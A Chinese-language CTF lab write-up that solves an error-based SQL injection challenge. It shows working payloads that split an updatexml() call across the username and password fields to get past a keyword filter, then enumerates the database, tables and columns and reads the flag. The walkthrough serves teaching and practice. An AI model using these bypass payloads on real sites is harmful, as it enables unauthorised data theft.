CTF实验吧加了料的报错注入

实验吧地址
http://ctf5.shiyanbar.com/web/baocuo/index.php

F12审查元素发现源码中的提示是这样一整句的查询
基本确定此题为一个SQL注入
CTF实验吧加了料的报错注入_第1张图片

/# = union select等这几个都是报错‘Sql injection detected’说明都被过滤了

CTF实验吧加了料的报错注入_第2张图片
利用报错函数updatexml尝试发现是在password处进行了过滤 但是Username处没有过滤,,,判断完毕

CTF实验吧加了料的报错注入_第3张图片

CTF实验吧加了料的报错注入_第4张图片

我们再了解一下updatexml()函数



1	UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:

1	updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
?
1	ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

开始尝试注入

username=1'   or 1<>2 or updatexml  /*&password=*/ (1,concat(0x7e,(select version()),0x7e),1)    or  '

CTF实验吧加了料的报错注入_第5张图片

暴库
username=1' or 1<>2 or updatexml /*&password=*/ (1,concat(0x7e,(select database()),0x7e),1) or '
CTF实验吧加了料的报错注入_第6张图片

爆表username=1' or updatexml /*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),1) or '

CTF实验吧加了料的报错注入_第7张图片

继续爆列 、爆字段

username=1' and updatexml/*
&password=*/(1,concat(0x7c,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7c),1) or '1
username=1' and updatexml/*
&password=*/(1,concat(0x7c,(SELECT value from ffll44jj),0x7c),1) or '1

CTF实验吧加了料的报错注入_第8张图片
得到flag
XPATH syntax error: ‘|flag{err0r_b4sed_sqli_+_hpf}|’

你可能感兴趣的:(CTF实验吧)